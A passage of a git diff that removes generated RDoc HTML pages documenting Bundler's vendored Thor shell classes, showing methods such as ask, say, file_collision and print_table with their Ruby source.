-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/shell.rb, line 58</span>
-58:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">shell=</span>(<span class="ruby-identifier">shell</span>)
-59:       <span class="ruby-ivar">@shell</span> = <span class="ruby-identifier">shell</span>
-60:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="with-padding-method" class="method-detail ">
-				<a name="method-i-with_padding"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">with_padding</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Yields the given block with padding.
-</p>
-					
-
-					
-					<div class="method-source-code"
-						id="with-padding-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/shell.rb, line 72</span>
-72:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">with_padding</span>
-73:       <span class="ruby-identifier">shell</span>.<span class="ruby-identifier">padding</span> <span class="ruby-operator">+=</span> <span class="ruby-value">1</span>
-74:       <span class="ruby-keyword kw">yield</span>
-75:     <span class="ruby-keyword kw">ensure</span>
-76:       <span class="ruby-identifier">shell</span>.<span class="ruby-identifier">padding</span> <span class="ruby-operator">-=</span> <span class="ruby-value">1</span>
-77:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-		</div>
-	
-
-	</div>
-
-
-	<div id="rdoc-debugging-section-dump" class="debugging-section">
-	
-		<p>Disabled; run with --debug to generate this.</p>
-	
-	</div>
-
-	<div id="validator-badges">
-		<p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
-		<p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
-			Rdoc Generator</a> 1.1.6</small>.</p>
-	</div>
-
-</body>
-</html>
-
diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Thor/Shell/Basic.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Thor/Shell/Basic.html
deleted file mode 100644
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--- a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Thor/Shell/Basic.html
+++ /dev/null
@@ -1,1141 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
-	"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
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-<head>
-	<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
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-
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-<body class="class">
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-				<h3 class="section-header">In Files</h3>
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-							class="thickbox" title="lib/bundler/vendor/thor/shell/basic.rb">lib/bundler/vendor/thor/shell/basic.rb</a></li>
-					
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-				</div>
-			</div>
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-			
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-
-		<div id="class-metadata">
-
-			<!-- Parent Class -->
-			
-			<div id="parent-class-section" class="section">
-				<h3 class="section-header">Parent</h3>
-				
-				<p class="link">Object</p>
-				
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-			
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-			<!-- Namespace Contents -->
-			
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-			<!-- Method Quickref -->
-			
-			<div id="method-list-section" class="section">
-				<h3 class="section-header">Methods</h3>
-				<ul class="link-list">
-					
-					<li><a href="#method-i-ask">#ask</a></li>
-					
-					<li><a href="#method-i-dynamic_width">#dynamic_width</a></li>
-					
-					<li><a href="#method-i-dynamic_width_stty">#dynamic_width_stty</a></li>
-					
-					<li><a href="#method-i-dynamic_width_tput">#dynamic_width_tput</a></li>
-					
-					<li><a href="#method-i-error">#error</a></li>
-					
-					<li><a href="#method-i-file_collision">#file_collision</a></li>
-					
-					<li><a href="#method-i-no%3F">#no?</a></li>
-					
-					<li><a href="#method-i-padding%3D">#padding=</a></li>
-					
-					<li><a href="#method-i-print_table">#print_table</a></li>
-					
-					<li><a href="#method-i-print_wrapped">#print_wrapped</a></li>
-					
-					<li><a href="#method-i-say">#say</a></li>
-					
-					<li><a href="#method-i-say_status">#say_status</a></li>
-					
-					<li><a href="#method-i-terminal_width">#terminal_width</a></li>
-					
-					<li><a href="#method-i-truncate">#truncate</a></li>
-					
-					<li><a href="#method-i-unix%3F">#unix?</a></li>
-					
-					<li><a href="#method-i-yes%3F">#yes?</a></li>
-					
-				</ul>
-			</div>
-			
-
-			<!-- Included Modules -->
-			
-		</div>
-
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-				<h3 class="section-header">Files</h3>
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-	<div id="documentation">
-		<h1 class="class">Thor::Shell::Basic</h1>
-
-		<div id="description">
-			
-		</div>
-
-		<!-- Constants -->
-		
-
-		<!-- Attributes -->
-		
-		<div id="attribute-method-details" class="method-section section">
-			<h3 class="section-header">Attributes</h3>
-
-			
-			<div id="base-attribute-method" class="method-detail">
-				<a name="base"></a>
-				
-				<a name="base="></a>
-				
-				<div class="method-heading attribute-method-heading">
-					<span class="method-name">base</span><span
-						class="attribute-access-type">[RW]</span>
-				</div>
-
-				<div class="method-description">
-				
-				
-				
-				</div>
-			</div>
-			
-			<div id="padding-attribute-method" class="method-detail">
-				<a name="padding"></a>
-				
-				<a name="padding="></a>
-				
-				<div class="method-heading attribute-method-heading">
-					<span class="method-name">padding</span><span
-						class="attribute-access-type">[RW]</span>
-				</div>
-
-				<div class="method-description">
-				
-				
-				
-				</div>
-			</div>
-			
-		</div>
-		
-
-		<!-- Methods -->
-		
-		<div id="public-instance-method-details" class="method-section section">
-			<h3 class="section-header">Public Instance Methods</h3>
-
-		
-			<div id="ask-method" class="method-detail ">
-				<a name="method-i-ask"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">ask</span><span
-						class="method-args">(statement, color=nil)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Ask something to the user and receives a response.
-</p>
-<h4>Example</h4>
-<p>
-ask(&#8220;What is your name?&#8221;)
-</p>
-					
-
-					
-					<div class="method-source-code"
-						id="ask-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/shell/basic.rb, line 25</span>
-25:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">ask</span>(<span class="ruby-identifier">statement</span>, <span class="ruby-identifier">color</span>=<span class="ruby-keyword kw">nil</span>)
-26:         <span class="ruby-identifier">say</span>(<span class="ruby-node">&quot;#{statement} &quot;</span>, <span class="ruby-identifier">color</span>)
-27:         <span class="ruby-identifier">$stdin</span>.<span class="ruby-identifier">gets</span>.<span class="ruby-identifier">strip</span>
-28:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="error-method" class="method-detail ">
-				<a name="method-i-error"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">error</span><span
-						class="method-args">(statement)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Called if something goes wrong during the execution. This is used by <a
-href="../../Thor.html">Thor</a> internally and should not be used inside
-your scripts. If someone went wrong, you can always raise an exception. If
-you raise a <a href="../Error.html">Thor::Error</a>, it will be rescued and
-wrapped in the method below.
-</p>
-					
-
-					
-					<div class="method-source-code"
-						id="error-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/shell/basic.rb, line 187</span>
-187:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">error</span>(<span class="ruby-identifier">statement</span>)
-188:         <span class="ruby-identifier">$stderr</span>.<span class="ruby-identifier">puts</span> <span class="ruby-identifier">statement</span>
-189:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="file-collision-method" class="method-detail ">
-				<a name="method-i-file_collision"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">file_collision</span><span
-						class="method-args">(destination)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Deals with file collision and returns true if the file should be overwriten
-and false otherwise. If a block is given, it uses the block response as the
-content for the diff.
-</p>
-<h4>Parameters</h4>
-<table>
-<tr><td valign="top">destination<String></td><td><p>
-the destination file to solve conflicts
-</p>
-</td></tr>
-<tr><td valign="top">block<Proc></td><td><p>
-an optional block that returns the value to be used in diff
-</p>
-</td></tr>
-</table>
-					
-
-					
-					<div class="method-source-code"
-						id="file-collision-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/shell/basic.rb, line 156</span>
-156:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">file_collision</span>(<span class="ruby-identifier">destination</span>)
-157:         <span class="ruby-keyword kw">return</span> <span class="ruby-keyword kw">true</span> <span class="ruby-keyword kw">if</span> <span class="ruby-ivar">@always_force</span>
-158:         <span class="ruby-identifier">options</span> = <span class="ruby-identifier">block_given?</span> <span class="ruby-operator">?</span> <span class="ruby-value str">&quot;[Ynaqdh]&quot;</span> <span class="ruby-operator">:</span> <span class="ruby-value str">&quot;[Ynaqh]&quot;</span>
-159: 
-160:         <span class="ruby-keyword kw">while</span> <span class="ruby-keyword kw">true</span>
-161:           <span class="ruby-identifier">answer</span> = <span class="ruby-identifier">ask</span> <span class="ruby-node">%[Overwrite #{destination}? (enter &quot;h&quot; for help) #{options}]</span>
-162: 
-163:           <span class="ruby-keyword kw">case</span> <span class="ruby-identifier">answer</span>
-164:             <span class="ruby-keyword kw">when</span> <span class="ruby-identifier">is?</span>(<span class="ruby-value">:yes</span>), <span class="ruby-identifier">is?</span>(<span class="ruby-value">:force</span>), <span class="ruby-value str">&quot;&quot;</span>
-165:               <span class="ruby-keyword kw">return</span> <span class="ruby-keyword kw">true</span>
-166:             <span class="ruby-keyword kw">when</span> <span class="ruby-identifier">is?</span>(<span class="ruby-value">:no</span>), <span class="ruby-identifier">is?</span>(<span class="ruby-value">:skip</span>)
-167:               <span class="ruby-keyword kw">return</span> <span class="ruby-keyword kw">false</span>
-168:             <span class="ruby-keyword kw">when</span> <span class="ruby-identifier">is?</span>(<span class="ruby-value">:always</span>)
-169:               <span class="ruby-keyword kw">return</span> <span class="ruby-ivar">@always_force</span> = <span class="ruby-keyword kw">true</span>
-170:             <span class="ruby-keyword kw">when</span> <span class="ruby-identifier">is?</span>(<span class="ruby-value">:quit</span>)
-171:               <span class="ruby-identifier">say</span> <span class="ruby-value str">'Aborting...'</span>
-172:               <span class="ruby-identifier">raise</span> <span class="ruby-constant">SystemExit</span>
-173:             <span class="ruby-keyword kw">when</span> <span class="ruby-identifier">is?</span>(<span class="ruby-value">:diff</span>)
-174:               <span class="ruby-identifier">show_diff</span>(<span class="ruby-identifier">destination</span>, <span class="ruby-keyword kw">yield</span>) <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">block_given?</span>
-175:               <span class="ruby-identifier">say</span> <span class="ruby-value str">'Retrying...'</span>
-176:             <span class="ruby-keyword kw">else</span>
-177:               <span class="ruby-identifier">say</span> <span class="ruby-identifier">file_collision_help</span>
-178:           <span class="ruby-keyword kw">end</span>
-179:         <span class="ruby-keyword kw">end</span>
-180:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="no--method" class="method-detail ">
-				<a name="method-i-no%3F"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">no?</span><span
-						class="method-args">(statement, color=nil)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Make a question the to user and returns true if the user replies
-&#8220;n&#8221; or &#8220;no&#8221;.
-</p>
-					
-
-					
-					<div class="method-source-code"
-						id="no--source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/shell/basic.rb, line 78</span>
-78:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">no?</span>(<span class="ruby-identifier">statement</span>, <span class="ruby-identifier">color</span>=<span class="ruby-keyword kw">nil</span>)
-79:         <span class="ruby-operator">!</span><span class="ruby-identifier">yes?</span>(<span class="ruby-identifier">statement</span>, <span class="ruby-identifier">color</span>)
-80:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="padding--method" class="method-detail ">
-				<a name="method-i-padding%3D"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">padding=</span><span
-						class="method-args">(value)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Sets the output padding, not allowing less than zero values.
-</p>
-					
-
-					
-					<div class="method-source-code"
-						id="padding--source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/shell/basic.rb, line 16</span>
-16:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">padding=</span>(<span class="ruby-identifier">value</span>)
-17:         <span class="ruby-ivar">@padding</span> = [<span class="ruby-value">0</span>, <span class="ruby-identifier">value</span>].<span class="ruby-identifier">max</span>
-18:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="print-table-method" class="method-detail ">
-				<a name="method-i-print_table"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">print_table</span><span
-						class="method-args">(table, options={})</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Prints a table.
-</p>
-<h4>Parameters</h4>
-<p>
-Array[Array[String, String, &#8230;]]
-</p>
-<h4>Options</h4>
-<table>
-<tr><td valign="top">ident<Integer></td><td><p>
-Indent the first column by ident value.
-</p>
-</td></tr>
-<tr><td valign="top">colwidth<Integer></td><td><p>
-Force the first column to colwidth spaces wide.
-</p>
-</td></tr>
-</table>
-					
-
-					
-					<div class="method-source-code"
-						id="print-table-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/shell/basic.rb, line 91</span>
- 91:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">print_table</span>(<span class="ruby-identifier">table</span>, <span class="ruby-identifier">options</span>={})
- 92:         <span class="ruby-keyword kw">return</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">table</span>.<span class="ruby-identifier">empty?</span>
- 93: 
- 94:         <span class="ruby-identifier">formats</span>, <span class="ruby-identifier">ident</span>, <span class="ruby-identifier">colwidth</span> = [], <span class="ruby-identifier">options</span>[<span class="ruby-value">:ident</span>].<span class="ruby-identifier">to_i</span>, <span class="ruby-identifier">options</span>[<span class="ruby-value">:colwidth</span>]
- 95:         <span class="ruby-identifier">options</span>[<span class="ruby-value">:truncate</span>] = <span class="ruby-identifier">terminal_width</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">options</span>[<span class="ruby-value">:truncate</span>] <span class="ruby-operator">==</span> <span class="ruby-keyword kw">true</span>
- 96: 
- 97:         <span class="ruby-identifier">formats</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-node">&quot;%-#{colwidth + 2}s&quot;</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">colwidth</span>
- 98:         <span class="ruby-identifier">start</span> = <span class="ruby-identifier">colwidth</span> <span class="ruby-operator">?</span> <span class="ruby-value">1</span> <span class="ruby-operator">:</span> <span class="ruby-value">0</span>
- 99: 
-100:         <span class="ruby-identifier">start</span>.<span class="ruby-identifier">upto</span>(<span class="ruby-identifier">table</span>.<span class="ruby-identifier">first</span>.<span class="ruby-identifier">length</span> <span class="ruby-operator">-</span> <span class="ruby-value">2</span>) <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">i</span><span class="ruby-operator">|</span>
-101:           <span class="ruby-identifier">maxima</span> <span class="ruby-operator">||=</span> <span class="ruby-identifier">table</span>.<span class="ruby-identifier">max</span>{<span class="ruby-operator">|</span><span class="ruby-identifier">a</span>,<span class="ruby-identifier">b</span><span class="ruby-operator">|</span> <span class="ruby-identifier">a</span>[<span class="ruby-identifier">i</span>].<span class="ruby-identifier">size</span> <span class="ruby-operator">&lt;=&gt;</span> <span class="ruby-identifier">b</span>[<span class="ruby-identifier">i</span>].<span class="ruby-identifier">size</span> }[<span class="ruby-identifier">i</span>].<span class="ruby-identifier">size</span>
-102:           <span class="ruby-identifier">formats</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-node">&quot;%-#{maxima + 2}s&quot;</span>
-103:         <span class="ruby-keyword kw">end</span>
-104: 
-105:         <span class="ruby-identifier">formats</span>[<span class="ruby-value">0</span>] = <span class="ruby-identifier">formats</span>[<span class="ruby-value">0</span>].<span class="ruby-identifier">insert</span>(<span class="ruby-value">0</span>, <span class="ruby-value str">&quot; &quot;</span> * <span class="ruby-identifier">ident</span>)
-106:         <span class="ruby-identifier">formats</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-value str">&quot;%s&quot;</span>
-107: 
-108:         <span class="ruby-identifier">table</span>.<span class="ruby-identifier">each</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">row</span><span class="ruby-operator">|</span>
-109:           <span class="ruby-identifier">sentence</span> = <span class="ruby-value str">&quot;&quot;</span>
-110: 
-111:           <span class="ruby-identifier">row</span>.<span class="ruby-identifier">each_with_index</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">column</span>, <span class="ruby-identifier">i</span><span class="ruby-operator">|</span>
-112:             <span class="ruby-identifier">sentence</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-identifier">formats</span>[<span class="ruby-identifier">i</span>] <span class="ruby-operator">%</span> <span class="ruby-identifier">column</span>.<span class="ruby-identifier">to_s</span>
-113:           <span class="ruby-keyword kw">end</span>
-114: 
-115:           <span class="ruby-identifier">sentence</span> = <span class="ruby-identifier">truncate</span>(<span class="ruby-identifier">sentence</span>, <span class="ruby-identifier">options</span>[<span class="ruby-value">:truncate</span>]) <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">options</span>[<span class="ruby-value">:truncate</span>]
-116:           <span class="ruby-identifier">$stdout</span>.<span class="ruby-identifier">puts</span> <span class="ruby-identifier">sentence</span>
-117:         <span class="ruby-keyword kw">end</span>
-118:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="print-wrapped-method" class="method-detail ">
-				<a name="method-i-print_wrapped"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">print_wrapped</span><span
-						class="method-args">(message, options={})</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Prints a long string, word-wrapping the text to the current width of the
-terminal display. Ideal for printing heredocs.
-</p>
-<h4>Parameters</h4>
-<p>
-String
-</p>
-<h4>Options</h4>
-<table>
-<tr><td valign="top">ident<Integer></td><td><p>
-Indent each line of the printed paragraph by ident value.
-</p>
-</td></tr>
-</table>
-					
-
-					
-					<div class="method-source-code"
-						id="print-wrapped-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/shell/basic.rb, line 129</span>
-129:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">print_wrapped</span>(<span class="ruby-identifier">message</span>, <span class="ruby-identifier">options</span>={})
-130:         <span class="ruby-identifier">ident</span> = <span class="ruby-identifier">options</span>[<span class="ruby-value">:ident</span>] <span class="ruby-operator">||</span> <span class="ruby-value">0</span>
-131:         <span class="ruby-identifier">width</span> = <span class="ruby-identifier">terminal_width</span> <span class="ruby-operator">-</span> <span class="ruby-identifier">ident</span>
-132:         <span class="ruby-identifier">paras</span> = <span class="ruby-identifier">message</span>.<span class="ruby-identifier">split</span>(<span class="ruby-value str">&quot;\n\n&quot;</span>)
-133: 
-134:         <span class="ruby-identifier">paras</span>.<span class="ruby-identifier">map!</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">unwrapped</span><span class="ruby-operator">|</span>
-135:           <span class="ruby-identifier">unwrapped</span>.<span class="ruby-identifier">strip</span>.<span class="ruby-identifier">gsub</span>(<span class="ruby-regexp re">/\n/</span>, <span class="ruby-value str">&quot; &quot;</span>).<span class="ruby-identifier">squeeze</span>(<span class="ruby-value str">&quot; &quot;</span>).
-136:           <span class="ruby-identifier">gsub</span>(<span class="ruby-node">/.{1,#{width}}(?:\s|\Z)/</span>){(<span class="ruby-node">$&amp;</span> <span class="ruby-operator">+</span> <span class="ruby-value">5</span>.<span class="ruby-identifier">chr</span>).
-137:           <span class="ruby-identifier">gsub</span>(<span class="ruby-regexp re">/\n\0005/</span>,<span class="ruby-value str">&quot;\n&quot;</span>).<span class="ruby-identifier">gsub</span>(<span class="ruby-regexp re">/\0005/</span>,<span class="ruby-value str">&quot;\n&quot;</span>)}
-138:         <span class="ruby-keyword kw">end</span>
-139: 
-140:         <span class="ruby-identifier">paras</span>.<span class="ruby-identifier">each</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">para</span><span class="ruby-operator">|</span>
-141:           <span class="ruby-identifier">para</span>.<span class="ruby-identifier">split</span>(<span class="ruby-value str">&quot;\n&quot;</span>).<span class="ruby-identifier">each</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">line</span><span class="ruby-operator">|</span>
-142:             <span class="ruby-identifier">$stdout</span>.<span class="ruby-identifier">puts</span> <span class="ruby-identifier">line</span>.<span class="ruby-identifier">insert</span>(<span class="ruby-value">0</span>, <span class="ruby-value str">&quot; &quot;</span> * <span class="ruby-identifier">ident</span>)
-143:           <span class="ruby-keyword kw">end</span>
-144:           <span class="ruby-identifier">$stdout</span>.<span class="ruby-identifier">puts</span> <span class="ruby-keyword kw">unless</span> <span class="ruby-identifier">para</span> <span class="ruby-operator">==</span> <span class="ruby-identifier">paras</span>.<span class="ruby-identifier">last</span>
-145:         <span class="ruby-keyword kw">end</span>
-146:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="say-method" class="method-detail ">
-				<a name="method-i-say"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">say</span><span
-						class="method-args">(message="", color=nil, force_new_line=(message.to_s !~ /( |\t)$/))</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Say (print) something to the user. If the sentence ends with a whitespace
-or tab character, a new line is not appended (print + flush). Otherwise are
-passed straight to puts (behavior got from Highline).
-</p>
-<h4>Example</h4>
-<p>
-say(&#8220;I know you knew that.&#8221;)
-</p>
-					
-
-					
-					<div class="method-source-code"
-						id="say-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/shell/basic.rb, line 37</span>
-37:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">say</span>(<span class="ruby-identifier">message</span>=<span class="ruby-value str">&quot;&quot;</span>, <span class="ruby-identifier">color</span>=<span class="ruby-keyword kw">nil</span>, <span class="ruby-identifier">force_new_line</span>=(<span class="ruby-identifier">message</span>.<span class="ruby-identifier">to_s</span> <span class="ruby-operator">!~</span> <span class="ruby-regexp re">/( |\t)$/</span>))
-38:         <span class="ruby-identifier">message</span> = <span class="ruby-identifier">message</span>.<span class="ruby-identifier">to_s</span>
-39:         <span class="ruby-identifier">message</span> = <span class="ruby-identifier">set_color</span>(<span class="ruby-identifier">message</span>, <span class="ruby-identifier">color</span>) <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">color</span>
-40: 
-41:         <span class="ruby-identifier">spaces</span> = <span class="ruby-value str">&quot;  &quot;</span> * <span class="ruby-identifier">padding</span>
-42: 
-43:         <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">force_new_line</span>
-44:           <span class="ruby-identifier">$stdout</span>.<span class="ruby-identifier">puts</span>(<span class="ruby-identifier">spaces</span> <span class="ruby-operator">+</span> <span class="ruby-identifier">message</span>)
-45:         <span class="ruby-keyword kw">else</span>
-46:       <span class="ruby-identifier">$stdout</span>.<span class="ruby-identifier">print</span>(<span class="ruby-identifier">spaces</span> <span class="ruby-operator">+</span> <span class="ruby-identifier">message</span>)
-47:         <span class="ruby-keyword kw">end</span>
-48:         <span class="ruby-identifier">$stdout</span>.<span class="ruby-identifier">flush</span>
-49:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="say-status-method" class="method-detail ">
-				<a name="method-i-say_status"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">say_status</span><span
-						class="method-args">(status, message, log_status=true)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Say a status with the given color and appends the message. Since this
-method is used frequently by actions, it allows nil or false to be given in
-log_status, avoiding the message from being shown. If a Symbol is given in
-log_status, it&#8217;s used as the color.
-</p>
-					
-
-					
-					<div class="method-source-code"
-						id="say-status-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/shell/basic.rb, line 56</span>
-56:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">say_status</span>(<span class="ruby-identifier">status</span>, <span class="ruby-identifier">message</span>, <span class="ruby-identifier">log_status</span>=<span class="ruby-keyword kw">true</span>)
-57:         <span class="ruby-keyword kw">return</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">quiet?</span> <span class="ruby-operator">||</span> <span class="ruby-identifier">log_status</span> <span class="ruby-operator">==</span> <span class="ruby-keyword kw">false</span>
-58:         <span class="ruby-identifier">spaces</span> = <span class="ruby-value str">&quot;  &quot;</span> * (<span class="ruby-identifier">padding</span> <span class="ruby-operator">+</span> <span class="ruby-value">1</span>)
-59:         <span class="ruby-identifier">color</span>  = <span class="ruby-identifier">log_status</span>.<span class="ruby-identifier">is_a?</span>(<span class="ruby-constant">Symbol</span>) <span class="ruby-operator">?</span> <span class="ruby-identifier">log_status</span> <span class="ruby-operator">:</span> <span class="ruby-value">:green</span>
-60: 
-61:         <span class="ruby-identifier">status</span> = <span class="ruby-identifier">status</span>.<span class="ruby-identifier">to_s</span>.<span class="ruby-identifier">rjust</span>(<span class="ruby-value">12</span>)
-62:         <span class="ruby-identifier">status</span> = <span class="ruby-identifier">set_color</span> <span class="ruby-identifier">status</span>, <span class="ruby-identifier">color</span>, <span class="ruby-keyword kw">true</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">color</span>
-63: 
-64:         <span class="ruby-identifier">$stdout</span>.<span class="ruby-identifier">puts</span> <span class="ruby-node">&quot;#{status}#{spaces}#{message}&quot;</span>
-65:         <span class="ruby-identifier">$stdout</span>.<span class="ruby-identifier">flush</span>
-66:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="yes--method" class="method-detail ">
-				<a name="method-i-yes%3F"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">yes?</span><span
-						class="method-args">(statement, color=nil)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Make a question the to user and returns true if the user replies
-&#8220;y&#8221; or &#8220;yes&#8221;.
-</p>
-					
-
-					
-					<div class="method-source-code"
-						id="yes--source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/shell/basic.rb, line 71</span>
-71:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">yes?</span>(<span class="ruby-identifier">statement</span>, <span class="ruby-identifier">color</span>=<span class="ruby-keyword kw">nil</span>)
-72:         <span class="ruby-identifier">ask</span>(<span class="ruby-identifier">statement</span>, <span class="ruby-identifier">color</span>) <span class="ruby-operator">=~</span> <span class="ruby-identifier">is?</span>(<span class="ruby-value">:yes</span>)
-73:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-		</div>
-	
-		<div id="protected-instance-method-details" class="method-section section">
-			<h3 class="section-header">Protected Instance Methods</h3>
-
-		
-			<div id="dynamic-width-method" class="method-detail ">
-				<a name="method-i-dynamic_width"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">dynamic_width</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Calculate the dynamic width of the terminal
-</p>
-					
-
-					
-					<div class="method-source-code"
-						id="dynamic-width-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/shell/basic.rb, line 249</span>
-249:         <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">dynamic_width</span>
-250:           <span class="ruby-ivar">@dynamic_width</span> <span class="ruby-operator">||=</span> (<span class="ruby-identifier">dynamic_width_stty</span>.<span class="ruby-identifier">nonzero?</span> <span class="ruby-operator">||</span> <span class="ruby-identifier">dynamic_width_tput</span>)
-251:         <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="dynamic-width-stty-method" class="method-detail ">
-				<a name="method-i-dynamic_width_stty"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">dynamic_width_stty</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="dynamic-width-stty-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/shell/basic.rb, line 253</span>
-253:         <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">dynamic_width_stty</span>
